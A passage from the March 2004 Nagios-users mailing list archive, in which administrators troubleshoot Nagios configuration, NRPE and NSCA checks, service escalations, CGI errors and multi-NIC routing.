O_RDONLY|O_LARGEFILE) = 3 :: open() = 3 above tells us that this call succeeded, so the cgi.cfg is :: actually there. fstat64(3, {st_mode=S_IFREG|0666, st_size=21335, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40016000 :: These are just preparations to move the file into memory. read(3, "################################"..., 4096) = 4096 read(3, "he interval_length variable.\n# N"..., 4096) = 4096 read(3, " GLOBAL HOST AND SERVICE EVENT H"..., 4096) = 4096 read(3, " is set to 1.\n\nstate_retention_f"..., 4096) = 4096 read(3, "implementing distributed monitor"..., 4096) = 4096 read(3, "ripped from macros before being "..., 4096) = 855 read(3, "", 4096) = 0 :: And here it is actually read. close(3) = 0 munmap(0x40016000, 4096) = 0 :: When it's done, close the handle and release the memory :: Below is what happens when something fails. open("common-header.ssi", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory) :: The open() system call returns -1, and the proper system :: error message is displayed afterwards. :: Below is the error message from config.cgi which follows :: immediately after the above open() call fails. write(1, "

Whoops!

\n", 17

Whoops!

) = 17 write(1, "

Err"..., 132

Error: Could not open CGI config file '/usr/local/nagios/etc/cgi.cfg' for reading!

) = 132 :: This is a bug in the config.cgi. It gives warnings for bad the :: wrong things. --[ snip ]--- Conclusion; You need to install the stylesheets in the proper location. -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marvelan at hotmail.com Wed Mar 31 10:31:37 2004 From: marvelan at hotmail.com (marvelan L) Date: Wed, 31 Mar 2004 08:31:37 +0000 Subject: Event correlation with ruleCore? Message-ID: Hi all, Have anyone tried rulecore (www.rulecore.com) together with Nagios with any luck? I'm interested to know if anyone used it for more advanced event correlation. Any other options for advanced event correlation out there that works with nagios? /M _________________________________________________________________ The new MSN 8: smart spam protection and 2 months FREE* http://join.msn.com/?page=features/junkmail ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gijs.wuyts at ubizen.com Wed Mar 31 10:55:24 2004 From: gijs.wuyts at ubizen.com (Gijs Wuyts) Date: Wed, 31 Mar 2004 08:55:24 +0000 Subject: multiple check_oracle connections Message-ID: <406A877C.3020602@ubizen.com> Hello, I use nagios among other things to check on approx 15 oracle databases, spreaded around several sid's and db's. Currently I have set this up through several command definitions in the check_commands config file, and the services links those. I know there is a better way to do this, especialy since some hosts run several sid's together. Can somebody send me some examples of how to do this? tnks g ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From m.borsani at it.net Wed Mar 31 11:02:15 2004 From: m.borsani at it.net (Marco Borsani) Date: Wed, 31 Mar 2004 11:02:15 +0200 Subject: Server Load Question In-Reply-To: References: Message-ID: Hi All !! I'd like to know how many services/hosts may I monitor using an L2000 server with Hp-UX 11.00 Have You got any idea about it? Many thanks M.Borsani ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Wed Mar 31 11:36:17 2004 From: ae at op5.se (Andreas Ericsson) Date: Wed, 31 Mar 2004 11:36:17 +0200 Subject: How to make use of 2 NICs on server instead of 1 In-Reply-To: <4069CC8B.9040106@algonquincollege.com> References: <4069CC8B.9040106@algonquincollege.com> Message-ID: <406A9111.2090406@op5.se> emily zhou wrote: > For sure, if I'll use 2 Nic, they'll be connected to > different networks, in our case is in different VLAN. The issue is that > I have to manually setup routing table (static path) instead of simply > using defaut gateway, which means forcing the Nagios server goes to one > Nic for checking one group of hosts; goes to another Nic when checking > another group of hosts. Is that correct? In short; If by 'group of hosts' you mean 'hosts on one of the targeted networks', then yes, that is correct. It works like this (sorry if I'm being too obvious here). Say you have nic0 with ip 192.168.0.100 and nic1 with 10.0.0.100, both with netmask 255.255.255.0. When the system needs to send packets to 192.168.0.*, it goes through nic0. If it needs to access 10.0.0.*, it goes through nic1. If you want to access hosts outside of these two ranges, the gateway is used. This means you only have to define a gateway if either network is larger than what fits in your netmask. If you have several gateways, you can specify a netmask for each of them, forcing the system to use one or the other. While using the above example and considering nic0 to be part of a larger (/16, class B) local area network and nic1 being the default internet accessing interface, settings could be something like this. nic0: destination netmask 255.255.0.0 (traffic from and to 192.168.*.*) gateway IP address 192.168.0.1 (anything on 192.168.0.* works) nic1: destination network address 0.0.0.0 (any traffic not matching any other netmask) gateway IP address 10.0.0.1 (anything on 10.0.0.* works) Since each gateway must be within one of the nic's address range the system is properly forced to use the correct nic to access each address. If you have several gateways on one subnet you should try and make sure that each gateway targets a unique network (unless you are really sure of what you're doing). Use traceroute command if you're unsure of what's going on. -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Wed Mar 31 11:40:41 2004 From: ae at op5.se (Andreas Ericsson) Date: Wed, 31 Mar 2004 11:40:41 +0200 Subject: Server Load Question In-Reply-To: References: Message-ID: <406A9219.3090908@op5.se> As many as the system can handle. If you're worrying about costs for a new server it's probably not an issue, as organizations with extreme hardware requirements generally tend to blow away the market value of the required processing power on toilet paper every day. Marco Borsani wrote: > Hi All !! > > I'd like to know how many services/hosts may I monitor using an L2000 server > with Hp-UX 11.00 > > Have You got any idea about it? > > Many thanks > > M.Borsani -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From m.borsani at it.net Wed Mar 31 11:46:38 2004 From: m.borsani at it.net (Marco Borsani) Date: Wed, 31 Mar 2004 11:46:38 +0200 Subject: R: Server Load Question In-Reply-To: <406A9219.3090908@op5.se> References: <406A9219.3090908@op5.se> Message-ID: Ok :-) But how many systems the L2000 system could handle? M.Borsani -----Messaggio originale----- Da: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net]Per conto di Andreas Ericsson Inviato: mercoledi 31 marzo 2004 11.41 A: Marco Borsani Cc: nagios-users at lists.sourceforge.net Oggetto: Re: [Nagios-users] Server Load Question As many as the system can handle. If you're worrying about costs for a new server it's probably not an issue, as organizations with extreme hardware requirements generally tend to blow away the market value of the required processing power on toilet paper every day. Marco Borsani wrote: > Hi All !! > > I'd like to know how many services/hosts may I monitor using an L2000 server > with Hp-UX 11.00 > > Have You got any idea about it? > > Many thanks > > M.Borsani -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From verdon at cict.fr Wed Mar 31 11:58:00 2004 From: verdon at cict.fr (carole verdon) Date: Wed, 31 Mar 2004 11:58:00 +0200 Subject: Availability values explanation - help In-Reply-To: <20040313044341.31761.qmail@restricted.dyndns.org> References: <20040313044341.31761.qmail@restricted.dyndns.org> Message-ID: <406A9628.9050803@cict.fr> I put myself the same question. Can someone give the explanation, please? Carole. Neil wrote: > Hey guys, > I copy+paste the information below from AVAILABILITY. > wwww424 > TIME OK TIME WARNING TIME UNKNOWN TIME CRITICAL UNDET > PING 61.190%(99.899%) 0.044%(0.071%) 0.000%(0.000%) 0.018%(0.030%) > 38.749% > SSLCert 61.233%(99.971%) 0.000%(0.000%) 0.000%(0.000%) 0.018%(0.029%) > 38.749% > Web 60.018%(100.000%) 0.000%(0.000%) 0.000%(0.000%) 0.000%(0.000%) > 39.982% > My question is in the number inside the parenthesis. Can someone > explain to me what number inside the parenthesis mean? > Or better, can some explain 61.190%(99.899%) in TIME OK for my PING > service? > Thanks. > Neil > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tiago-f-carvalho at telecom.pt Wed Mar 31 12:29:11 2004 From: tiago-f-carvalho at telecom.pt (Tiago Filipe Carvalho) Date: Wed, 31 Mar 2004 11:29:11 +0100 Subject: Availability values explanation - help Message-ID: <8819C6BAA573024DB24337D5E794CE58018D63@COMPICEX02.ptcom.corppt.com> I think it represents the percentage of time for each state (ok, warning, etc) when the undetermined state time isn't considered. Best regards, Tiago Filipe R. de Carvalho (tiago-f-carvalho at telecom.pt) PT Comunica??es - DSI/EQT Engenharia e Qualidade T?cnica Av. Duque de Loul?, 12, 3? Piso Tlf. + 351 21 501 2142 -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of carole verdon Sent: 31-03-2004 10:58 To: Neil Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Availability values explanation - help I put myself the same question. Can someone give the explanation, please? Carole. Neil wrote: > Hey guys, > I copy+paste the information below from AVAILABILITY. > wwww424 > TIME OK TIME WARNING TIME UNKNOWN TIME CRITICAL UNDET > PING 61.190%(99.899%) 0.044%(0.071%) 0.000%(0.000%) 0.018%(0.030%) > 38.749% > SSLCert 61.233%(99.971%) 0.000%(0.000%) 0.000%(0.000%) 0.018%(0.029%) > 38.749% > Web 60.018%(100.000%) 0.000%(0.000%) 0.000%(0.000%) 0.000%(0.000%) > 39.982% > My question is in the number inside the parenthesis. Can someone > explain to me what number inside the parenthesis mean? > Or better, can some explain 61.190%(99.899%) in TIME OK for my PING > service? > Thanks. > Neil > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Wed Mar 31 12:39:17 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 31 Mar 2004 11:39:17 +0100 Subject: check_by_ssh question In-Reply-To: References: <40634AF6.6040408@op5.se> <20040326024750.5441.qmail@minnow.softflare.net> <4063E7FB.8060605@op5.se> <20040326113545.16764.qmail@minnow.softflare.net> <40642592.3010006@op5.se> <20040326154523.6635.qmail@minnow.softflare.net> <406571D6.3030904@op5.se> <20040329015432.13151.qmail@minnow.softflare.net> <20040330000018.4786.qmail@minnow.softflare.net> Message-ID: <20040331103917.481.qmail@minnow.softflare.net> Arnold Cano writes: > I was able to chain check_by_ssh in the following way... That is easy, although the documentation is far from clear and it took me a few experiments to get it working. What I couldn't get to work was using check_by_ssh on the monitoring host to call check_by_ssh on a firewall to monitor something behind the firewall. The machine behind the firewall didn't have an external IP, so couldn't be talked to directly. After a few attempts at trying to make check_by_ssh -> check_by_ssh -> check_disk work I gave up and switched to NCSA, which is a cleaner and more efficient way of doing it. The only reason I tried chaining check_by_ssh was to try to avoid having to read through all the NCSA stuff in detail. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sunilshriram.borkhedkar at wipro.com Wed Mar 31 13:00:08 2004 From: sunilshriram.borkhedkar at wipro.com (sunilshriram.borkhedkar at wipro.com) Date: Wed, 31 Mar 2004 16:30:08 +0530 Subject: nagios nrpe problem Message-ID: Hi everybody, I m Sunil .i m new to Nagios.I installed nagios & configured the monitor.I m monitoring one linux box using the nrpe. here is one problem .In GUI it gives the system as critical (Cannot complete SSL handshake). All comments are welcome Sunil Borkhedkar Project Engineer Wipro Technology Bangalore Cell - 9882668532 -------------- next part -------------- An HTML attachment was scrubbed... URL: From dladjouan at yahoo.fr Wed Mar 31 13:02:09 2004 From: dladjouan at yahoo.fr (=?iso-8859-1?q?Ladjouan=20Djibrill?=) Date: Wed, 31 Mar 2004 13:02:09 +0200 (CEST) Subject: (no subject) Message-ID: <20040331110209.4974.qmail@web25201.mail.ukl.yahoo.com> Hello, when i want to display the ?host details? for example or anythings else, I?ve this errorI need your help please . Not Found The requested URL /www/htdocs/nagios/cgi-bin/tac.cgi was not found on this server. --------------------------------- Yahoo! Mail : votre e-mail personnel et gratuit qui vous suit partout ! Cr?ez votre Yahoo! Mail Dialoguez en direct avec vos amis gr?ce ? Yahoo! Messenger ! -------------- next part -------------- An HTML attachment was scrubbed... URL: From a.koch at eurodata.de Wed Mar 31 13:40:36 2004 From: a.koch at eurodata.de (Andreas Koch) Date: Wed, 31 Mar 2004 13:40:36 +0200 Subject: nagios nrpe problem In-Reply-To: References: Message-ID: <1080733236.683.30.camel@dresden.eurodata.de> you must install the: libssl-dev Andreas Am Mi, den 31.03.2004 schrieb sunilshriram.borkhedkar at wipro.com um 13:00: > Hi everybody, > I m Sunil .i m new to Nagios.I installed nagios & configured the > monitor.I m monitoring one linux box using the nrpe. > here is one problem .In GUI it gives the system as critical (Cannot > complete SSL handshake). > > All comments are welcome > > Sunil Borkhedkar > Project Engineer > Wipro Technology > Bangalore > Cell - 9882668532 > -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From yohann.desquerre at anpe.fr Wed Mar 31 14:11:54 2004 From: yohann.desquerre at anpe.fr (Yohann DESQUERRE (DSI NOISIEL)) Date: Wed, 31 Mar 2004 14:11:54 +0200 Subject: Global escalation service problem Message-ID: Hi all, I'd like to declare a global service definition as that: define serviceescalation{ host_name wings service_description * first_notification 3 last_notification 4 contact_groups redcon-0 notification_interval 0 } Or that : define serviceescalation{ host_name * service_description * first_notification 3 last_notification 4 contact_groups redcon-0 notification_interval 0 } Running configuration check.../etc/init.d/nagios: line 167: 17741 Segmentation fault $NagiosBin -v $NagiosCfg >/dev/null 2>&1 Nagios 1.1 Copyright (c) 1999-2003 Ethan Galstad (nagios at nagios.org) Last Modified: 06-02-2003 License: GPL Reading configuration data... /etc/init.d/nagios: line 167: 17742 Segmentation fault $NagiosBin -v $NagiosCfg failed - aborting restart. ...and I've got this message : " Any ideas???? Thanks for help !!! ----------------------------------------------- Yohann Desquerre "Plateforme ANPE.FR" S/Direction de la production Gestion des Ressources 01-49-31-82-03 ----------------------------------------------- -------------- next part -------------- An HTML attachment was scrubbed... URL: From yohann.desquerre at anpe.fr Wed Mar 31 14:13:19 2004 From: yohann.desquerre at anpe.fr (Yohann DESQUERRE (DSI NOISIEL)) Date: Wed, 31 Mar 2004 14:13:19 +0200 Subject: Global escalation service problem Message-ID: Hi all, I'd like to declare a global service definition as that: define serviceescalation{ host_name wings service_description * first_notification 3 last_notification 4 contact_groups redcon-0 notification_interval 0 } Or that : define serviceescalation{ host_name * service_description * first_notification 3 last_notification 4 contact_groups redcon-0 notification_interval 0 } Running configuration check.../etc/init.d/nagios: line 167: 17741 Segmentation fault $NagiosBin -v $NagiosCfg >/dev/null 2>&1 Nagios 1.1 Copyright (c) 1999-2003 Ethan Galstad (nagios at nagios.org) Last Modified: 06-02-2003 License: GPL Reading configuration data... /etc/init.d/nagios: line 167: 17742 Segmentation fault $NagiosBin -v $NagiosCfg Failed - aborting restart. ...and I've got this message : " Any ideas???? Thanks for help!!! ----------------------------------------------- Yohann Desquerre "Plateforme ANPE.FR" S/Direction de la production Gestion des Ressources ----------------------------------------------- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Wed Mar 31 16:00:55 2004 From: shorn at lssi.net (Spencer L Horn) Date: Wed, 31 Mar 2004 09:00:55 -0500 Subject: Global escalation service problem In-Reply-To: References: Message-ID: <1080741655.5072.217.camel@spencer.lssi.net> My setup is the following.. define serviceescalation{ name production-escalation0 first_notification 4 last_notification 5 notification_interval 15 register 0 } Then it varies on group ie networks, sysadmin, devel, etc defined like this, define serviceescalation{ name servers_production-escalation0 use production-escalation0 contact_groups sysadmins register 0 } this would change slightly for networks devel etc. Make sense? Spencer On Wed, 2004-03-31 at 07:13, Yohann DESQUERRE (DSI NOISIEL) wrote: > Hi all, > > I'd like to declare a global service definition as that: > > > define serviceescalation{ > host_name wings > service_description * > first_notification 3 > last_notification 4 > contact_groups redcon-0 > notification_interval 0 > } > > Or that : > > > define serviceescalation{ > host_name * > service_description * > first_notification 3 > last_notification 4 > contact_groups redcon-0 > notification_interval 0 > } > > Running configuration check.../etc/init.d/nagios: line 167: 17741 > Segmentation fault $NagiosBin -v $NagiosCfg >/dev/null 2>&1 > > Nagios 1.1 > Copyright (c) 1999-2003 Ethan Galstad (nagios at nagios.org) > Last Modified: 06-02-2003 > License: GPL > > Reading configuration data... > > /etc/init.d/nagios: line 167: 17742 Segmentation fault $NagiosBin > -v $NagiosCfg > Failed - aborting restart. > ...and I've got this message : > " > > > Any ideas???? > > > Thanks for help!!! > > ----------------------------------------------- > Yohann Desquerre > "Plateforme ANPE.FR" > S/Direction de la production > Gestion des Ressources > ----------------------------------------------- > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&opk > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Daniel.Mesimer at med.va.gov Wed Mar 31 15:57:13 2004 From: Daniel.Mesimer at med.va.gov (Daniel.Mesimer at med.va.gov) Date: Wed, 31 Mar 2004 07:57:13 -0600 Subject: Nagios Process Message-ID: <707BC118BC44D3118E3B0000F81F1E7603F22E2C@VHAKANEXC1> All, I have been running this "altered" check_nagios script all month long with no problems, but today the 31st it has issues. When running the script at CL I get the following output: Day '31' out of range in 1..30 at ./check_nagios line 38 I'm not exactly the most fluent Perl guy around. Has anyone ween this before? Does anybody have a fix for this? Or is this an issue with my server's time? Dan Mesimer Kansas City VA Medical Center Network Support -----Original Message----- From: Sean J. Schluntz [mailto:schluntz at workofstone.com] Sent: Monday, March 22, 2004 9:00 AM To: Mesimer, Daniel J. Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Nagios Process Did you change the MySQL username and password in the beginning of the script? Try running it by hand and see if you get any error output (I found the version I had couldn't properly handle an empty status table and I had to put in a return test to keep it from trying to do an empty compare. -Sean On Mar 22, 2004, at 6:22 AM, Mesimer, Daniel J. wrote: > Sean/All, > > I went ahead and replaced the 'check_nagios' binary with the Denao > script, > and it seems to have "sort of" worked. I now have: Process Status: > UNKNOWN & Nagios check command did not return any output. > > Is there some change I need to make to the script? > > Dan Mesimer > Kansas City VA Medical Center > Network Support > > > -----Original Message----- > From: Sean J. Schluntz [mailto:schluntz at workofstone.com] > Sent: Friday, March 19, 2004 3:37 PM > To: Mesimer, Daniel J. > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Nagios Process > > > I had the same problem until I replaced the check_nagios binary with > the script by Denao which looks at the database for status instead of > the flat file. I can't locate the original, but would be happy to > forward you my copy. > > -Sean > > On Mar 19, 2004, at 1:07 PM, Mesimer, Daniel J. wrote: > >> Anyone who can shed some light, >> >> I have installed Nagios version 1.2 and have everything pretty much >> up and running OK. >> I compiled it to use a MySQL backend (and I am not too experienced >> with >> this) >> >> But I have the following issue: >> >> When viewing "Process Info", it states that the Nagios process is not >> running (but it is) and gives "Error: Cannot open status log for >> reading!" >> >> I am very confused by this, any help would be greatly appreciated or >> pointers to some more documentation. >> >> Thanks, >> >> Dan Mesimer >> Kansas City VA Medical Center >> Network Support >> >> >> >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users >> ::: Please include Nagios version, plugin version (-v) and OS when >> reporting any issue. >> ::: Messages without supporting info will risk being sent to >> /dev/null >> >> >> > --- > Sean J. Schluntz > 510-264-1785 > Sr. Security Consultant Work of > Stone > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo > technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting > any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > --- Sean J. Schluntz 510-264-1785 Sr. Security Consultant Work of Stone ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Wed Mar 31 16:42:47 2004 From: shorn at lssi.net (Spencer L Horn) Date: Wed, 31 Mar 2004 09:42:47 -0500 Subject: Echo nagios status? Message-ID: <1080744167.5072.222.camel@spencer.lssi.net> I have this defined in my remote secondary nagios monitoring box, /bin/echo -e "$1\t$2\t$return_code\t$4\n" | /usr/local/nagios/bin/send_nsca_nagios nagiosw0 -c /usr/local/nagios/etc/send_nsca.cfg which pipes the service check info into the send_nsca program, which in turn transmits the data to the nsca daemon on the central monitoring server. How do i tell my main server not to activly check these remote services just recieve status update via nsca? maybe nsca is not setup properly. Hmm ill have to check into that, any other ideas? Thanks, Spencer ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jdoyle at lewisgaleclinic.com Wed Mar 31 16:41:00 2004 From: jdoyle at lewisgaleclinic.com (Jack Doyle) Date: Wed, 31 Mar 2004 09:41:00 -0500 Subject: Log Archive Issue Message-ID: I remember someone mentioning that their log file only had the daily rotation in it. I noticed this with my log file from yesterday. It's the only day that it's done it. Anyways, I found the real log file, it was supposed to be nagios-03-31-2004-00.log, but that was the one that contained only the daily rotation. The real one 